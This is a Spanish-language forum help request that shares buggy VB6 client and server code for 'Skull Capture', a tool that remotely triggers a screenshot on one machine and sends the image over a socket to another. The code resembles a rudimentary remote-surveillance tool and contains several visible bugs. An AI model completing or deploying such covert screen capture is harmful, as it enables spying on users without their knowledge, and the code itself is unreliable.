Run-Time error "9":
SubScript out of range
bueno aqui les dejo el code completo del server y cliente, sabiendo que hay que mejorarle ciertas cosas tales como la conexion, y el metodo de captura!:
Cliente
Código:
Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
ws.Close
labe1.Caption = "Desconectado..."
Timer1.Enabled = False
End Sub
Private Sub Command3_Click()
ws.SendData "cap"
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
Label1.Caption = "Escuchando..."
ws.LocalPort = 1234
ws.Listen
End If
End Sub
Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, "Skull Capture"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim dato As String
Dim envio As Boolean
Dim lf() As String
Dim lenfile As String
ws.GetData dato
Select Case Left(dato, 3)
Case "Tam"
lf = Split(dato, "|")
lenfile = lf(2)
envio = True
ws.SendData "send"
Case "sen"
Dim imagen() As String
If envio = True Then
Data = dato
If Len(Data) = lenfile Then
Open Environ("temp") & "\imagen1.bmp" For Binary As #1
Put #1, , lenfile
Close #1
Form2.Show
Form2.Picture1.Picture = LoadPicture(Environ("Temp") & "\imagen1.bmp")
Kill Environ("Temp") & "\imagen1.bmp"
End If
End If
End Select
End Sub
Server
Código:
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Sub Form_Load()
ws.Connect "127.0.0.1", 1234
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If ws.State <> 7 Then
ws.Close
ws.Connect "127.0.0.1", 1234
End If
If ws.State = 7 Then
GoTo fin
End If
If ws.State = 2 Then
GoTo fin
End If
fin:
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
Case "cap"
Call Capturar_enviar
Case "Sen"
Dim send As String
Open "E:\imagen1.bmp" For Binary As #1
Do While EOF(1)
send = Space(LOF(1))
Get #1, , send
Loop
Close #1
ws.SendData send
Pause 1
Kill "E:\imagen1.bmp"
End Select
End Sub
Private Sub Capturar_enviar()
Clipboard.Clear
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0
Pause 1
Picture1.Picture = Clipboard.GetData
SavePicture Picture1.Picture, "E:\imagen1.bmp"
Clipboard.Clear
Pause 1
ws.SendData "Tam:|" & FileLen("E:\imagen1.bmp")
End Sub
Bueno espero que uno me pueda hechar una mano con esto! ..
Salu2's!